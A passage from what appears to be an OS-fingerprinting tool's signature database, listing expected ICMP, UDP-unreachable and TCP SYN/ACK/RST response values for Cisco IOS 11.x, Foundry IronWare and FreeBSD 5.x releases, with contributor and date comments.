tcp_syn_ack_tos = 0x10 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <255 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 4128 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Cisco IOS 11.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 27 January 2002 #Modified: 25 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = SENT icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = SENT #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = SENT #Module D icmp_info_reply = y icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = SENT #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0x10 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <255 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 4128 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Cisco IOS 11.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 27 January 2002 #Modified: 25 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = SENT icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = SENT #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = SENT #Module D icmp_info_reply = y icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = SENT #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <255 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 2144 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Cisco IOS 11.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 27 January 2002 #Modified: 25 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = SENT icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = SENT #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = SENT #Module D icmp_info_reply = y icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = SENT #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <255 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 2144 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } #Foundry Networks fingerprint { OS_ID = "Foundry Networks IronWare Version 03.0.01eTc1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 February 2005 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 20 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Foundry Networks IronWare Version 07.5.04T53" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 July 2003 #Modified: 14 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Foundry Networks IronWare Version 07.5.05KT53" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 July 2003 #Modified: 14 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Foundry Networks IronWare 07.6.01BT51" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 July 2003 #Modified: 14 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Foundry Networks IronWare 07.6.04aT51" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 February 2005 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Foundry Networks IronWare 07.7.01eT53" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 February 2005 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } #FreeBSD fingerprint { OS_ID = "FreeBSD 5.4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 1 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = FreeBSD 5.4 } fingerprint { OS_ID = "FreeBSD 5.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 December 2004 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 1 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = FreeBSD 5.3 } fingerprint { OS_ID = "FreeBSD 5.2.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 December 2004 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 1 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = FreeBSD 5.2.1 } fingerprint { OS_ID = "FreeBSD 5.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 December 2004 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 1 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = FreeBSD 5.2 } fingerprint { OS_ID = "FreeBSD 5.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 25 June 2003 #Modified: 25 June 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 1 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = FreeBSD 5.1 } fingerprint { OS_ID = "FreeBSD 5.0" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 5 April 2003 #Modified: 29 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 